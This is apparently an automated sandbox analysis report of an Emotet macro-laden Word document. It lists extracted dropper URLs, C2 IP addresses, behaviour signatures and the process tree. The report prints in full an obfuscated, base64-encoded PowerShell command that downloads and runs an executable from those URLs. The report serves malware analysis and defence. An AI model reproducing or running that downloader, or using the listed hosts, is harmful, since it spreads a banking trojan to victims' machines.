Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    120s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    04/09/2020, 12:02

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e1_a75d12b7799fdc5ff037fd84d3a442b84ed57a7502cf0946332d18cedd362be1_2020-09-04__120056._doc.doc
  • Size 122KB
  • Sample200904-9a5tbrmctx
  • SHA256 a75d12b7799fdc5ff037fd84d3a442b84ed57a7502cf0946332d18cedd362be1
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://must-in.com/wp-admin/Q/
  • exe.dropper

    http://maximumwebimpact.com/test/rL9/
  • exe.dropper

    http://aldama.com/www/jkm/
  • exe.dropper

    http://www.bismarjeparamebel.com/wp-includes/SX/
  • exe.dropper

    http://staniszczak.net/cpf/F/
  • exe.dropper

    http://sriharshampromoters.com/sriharshaptr/8/
  • exe.dropper

    https://twisterprint.com/stats/KsU/

Extracted

Family

  • emotet

C2

  • 185.215.227.107:443

  • 51.38.124.206:80

  • 38.88.126.202:8080

  • 54.37.42.48:8080

  • 172.104.169.32:8080

  • 68.183.190.199:8080

  • 187.162.248.237:80

  • 82.76.111.249:443

  • 184.66.18.83:80

  • 190.6.193.152:8080

  • 77.238.212.227:80

  • 199.203.62.165:80

  • 188.2.217.94:80

  • 185.94.252.12:80

  • 178.250.54.208:8080

  • 206.15.68.237:443

  • 65.36.62.20:80

  • 216.47.196.104:80

  • 219.92.8.17:8080

  • 213.60.96.117:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_a75d12b7799fdc5ff037fd84d3a442b84ed57a7502cf0946332d18cedd362be1_2020-09-04__120056._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1612
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABIAGoAZQBpAHAAYQBnAD0AKAAnAFYAJwArACgAJwB4ADYAYQAnACsAJwBqAHAAMwAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAEUAUgBQAHIATwBGAEkATABFAFwASgBMAHQAOABMADEANgBcAFMAeQBXAFMARgBLADgAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIAZQBjAFQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBjAHUAYABSAEkAYABUAHkAUAByAE8AdABgAE8AYwBPAEwAIgAgAD0AIAAoACgAJwB0AGwAcwAnACsAJwAxADIALAAgAHQAbAAnACkAKwAoACcAcwAxACcAKwAnADEAJwApACsAKAAnACwAIAB0ACcAKwAnAGwAJwApACsAJwBzACcAKQA7ACQAUQBjADcANwBrAGMAcwAgAD0AIAAoACcAVQAnACsAJwB6AHcAJwArACgAJwBrACcAKwAnAG8ANQBnACcAKwAnAHoAMAAnACkAKQA7ACQARwAwAGwAdABiAG4AZgA9ACgAKAAnAFAAYQAwACcAKwAnAGsAJwApACsAJwBiACcAKwAnAG4AZQAnACkAOwAkAEsANABxADAAdwA4AGEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAeQAnACsAKAAnAGgAYQBKAGwAJwArACcAdAA4AGwAMQAnACsAJwA2AHkAJwApACsAJwBoACcAKwAoACcAYQBTAHkAdwAnACsAJwBzACcAKQArACcAZgAnACsAJwBrACcAKwAoACcAOAB5ACcAKwAnAGgAYQAnACkAKQAtAEMAcgBFAFAAbABhAGMAZQAgACgAWwBDAGgAQQBSAF0AMQAyADEAKwBbAEMAaABBAFIAXQAxADAANAArAFsAQwBoAEEAUgBdADkANwApACwAWwBDAGgAQQBSAF0AOQAyACkAKwAkAFEAYwA3ADcAawBjAHMAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABCAHoANwA1AHoAawA3AD0AKAAnAFIAJwArACgAJwBxAHoAJwArACcAeAA5AHEAYwAnACkAKQA7ACQARgBhADMAdABiADcAMAA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBFAHQALgB3AGUAYgBDAEwASQBlAG4AVAA7ACQAVgA2ADUAcwBkAGYAbAA9ACgAKAAnAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AbQAnACkAKwAoACcAdQBzAHQALQAnACsAJwBpACcAKQArACcAbgAnACsAJwAuACcAKwAnAGMAbwAnACsAKAAnAG0ALwB3ACcAKwAnAHAAJwApACsAKAAnAC0AYQAnACsAJwBkACcAKwAnAG0AaQAnACsAJwBuAC8AUQAvACoAaAAnACkAKwAoACcAdAAnACsAJwB0AHAAJwApACsAKAAnADoALwAvACcAKwAnAG0AJwApACsAKAAnAGEAeABpAG0AJwArACcAdQBtAHcAZQBiACcAKQArACcAaQAnACsAKAAnAG0AcAAnACsAJwBhAGMAdAAnACkAKwAoACcALgBjACcAKwAnAG8AbQAvACcAKQArACcAdABlACcAKwAoACcAcwB0ACcAKwAnAC8AcgAnACkAKwAoACcATAA5AC8AJwArACcAKgAnACsAJwBoAHQAJwApACsAJwB0ACcAKwAnAHAAJwArACcAOgAvACcAKwAoACcALwAnACsAJwBhAGwAZABhACcAKQArACcAbQAnACsAJwBhACcAKwAnAC4AJwArACgAJwBjACcAKwAnAG8AbQAvAHcAJwArACcAdwAnACkAKwAoACcAdwAvAGoAawBtAC8AJwArACcAKgBoACcAKwAnAHQAJwApACsAKAAnAHQAcAAnACsAJwA6ACcAKQArACgAJwAvAC8AJwArACcAdwB3ACcAKQArACcAdwAnACsAKAAnAC4AYgAnACsAJwBpAHMAJwApACsAJwBtAGEAJwArACcAcgAnACsAKAAnAGoAZQAnACsAJwBwACcAKQArACgAJwBhAHIAJwArACcAYQBtACcAKQArACgAJwBlAGIAZQBsAC4AYwBvACcAKwAnAG0ALwAnACkAKwAoACcAdwAnACsAJwBwAC0AaQBuACcAKQArACcAYwAnACsAKAAnAGwAdQBkACcAKwAnAGUAcwAvACcAKQArACgAJwBTAFgALwAnACsAJwAqACcAKQArACgAJwBoAHQAdAAnACsAJwBwADoALwAnACsAJwAvACcAKQArACgAJwBzAHQAYQAnACsAJwBuAGkAJwApACsAJwBzACcAKwAnAHoAYwAnACsAKAAnAHoAJwArACcAYQBrACcAKQArACgAJwAuAG4AZQB0ACcAKwAnAC8AYwAnACkAKwAoACcAcAAnACsAJwBmAC8AJwApACsAJwBGAC8AJwArACgAJwAqAGgAdAB0AHAAJwArACcAOgAnACkAKwAnAC8AJwArACcALwAnACsAKAAnAHMAcgAnACsAJwBpAGgAYQByACcAKQArACgAJwBzAGgAYQBtACcAKwAnAHAAcgAnACkAKwAnAG8AbQAnACsAKAAnAG8AdABlACcAKwAnAHIAcwAnACkAKwAnAC4AJwArACgAJwBjACcAKwAnAG8AbQAnACsAJwAvAHMAcgBpAGgAYQAnACkAKwAoACcAcgAnACsAJwBzAGgAJwApACsAKAAnAGEAcAAnACsAJwB0AHIALwAnACkAKwAoACcAOAAvACoAaAAnACsAJwB0ACcAKQArACcAdAAnACsAKAAnAHAAcwAnACsAJwA6AC8ALwAnACsAJwB0AHcAaQBzAHQAZQByACcAKwAnAHAAJwArACcAcgBpACcAKQArACgAJwBuAHQALgAnACsAJwBjAG8AbQAnACkAKwAnAC8AcwAnACsAKAAnAHQAYQB0AHMAJwArACcALwBLAHMAJwApACsAJwBVACcAKwAnAC8AJwApAC4AIgBzAFAAYABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEgAOQAyAGkAdwBsAHYAPQAoACgAJwBXAHoAJwArACcANgAzACcAKQArACcAOAAnACsAJwB0AHkAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAWQBsAGYAMAB2ADgAMQAgAGkAbgAgACQAVgA2ADUAcwBkAGYAbAApAHsAdAByAHkAewAkAEYAYQAzAHQAYgA3ADAALgAiAGQAYABvAFcAbgBsAE8AYQBEAGAARgBpAGAATABlACIAKAAkAFkAbABmADAAdgA4ADEALAAgACQASwA0AHEAMAB3ADgAYQApADsAJABFADMAMwBzADQAZQA0AD0AKAAnAEIAdgAnACsAKAAnADUAdwB5AHMAJwArACcAeQAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdAAnACsAJwBlAG0AJwApACAAJABLADQAcQAwAHcAOABhACkALgAiAEwAZQBuAGAARwB0AGgAIgAgAC0AZwBlACAAMgAyADcANQA3ACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AawBlAC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAKAAkAEsANABxADAAdwA4AGEAKQA7ACQATgBhAGQAdwA3AF8AMwA9ACgAKAAnAEsAMAAnACsAJwBhAHEAJwApACsAJwBlACcAKwAnADQAZgAnACkAOwBiAHIAZQBhAGsAOwAkAEwAcgBmAHoAdgB4AGYAPQAoACgAJwBVAGcAJwArACcAYgByACcAKQArACcAXwAnACsAJwA1AG0AJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABTADUAbwB0AHYAeABrAD0AKAAnAFoAbwAnACsAJwBvACcAKwAoACcAZgA0AHQAJwArACcAMAAnACkAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1588
    • C:\Users\Admin\Jlt8l16\Sywsfk8\Uzwko5gz0.exe
      "C:\Users\Admin\Jlt8l16\Sywsfk8\Uzwko5gz0.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1376
      • C:\Windows\SysWOW64\wmidcom\ndadmin.exe
        "C:\Windows\SysWOW64\wmidcom\ndadmin.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1672

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/480-24-0x000007FEF7CD0000-0x000007FEF7F4A000-memory.dmp
        Download

        memory/1376-19-0x0000000000330000-0x000000000033C000-memory.dmp
        Download

        memory/1376-18-0x0000000000320000-0x000000000032D000-memory.dmp
        Download

        memory/1588-10-0x000000001AC00000-0x000000001AC01000-memory.dmp
        Download

        memory/1588-13-0x000000001A9A0000-0x000000001A9A1000-memory.dmp
        Download

        memory/1588-14-0x000000001B760000-0x000000001B761000-memory.dmp
        Download

        memory/1588-12-0x0000000001F20000-0x0000000001F21000-memory.dmp
        Download

        memory/1588-11-0x0000000002460000-0x0000000002461000-memory.dmp
        Download

        memory/1588-9-0x0000000002390000-0x0000000002391000-memory.dmp
        Download

        memory/1588-8-0x000007FEF1840000-0x000007FEF222C000-memory.dmp
        Download

        memory/1612-2-0x0000000009780000-0x0000000009784000-memory.dmp
        Download

        memory/1612-6-0x000000000BBF0000-0x000000000BBF4000-memory.dmp
        Download

        memory/1612-5-0x0000000007D60000-0x0000000007F60000-memory.dmp
        Download

        memory/1672-22-0x0000000000390000-0x000000000039D000-memory.dmp
        Download

        memory/1672-23-0x00000000003A0000-0x00000000003AC000-memory.dmp
        Download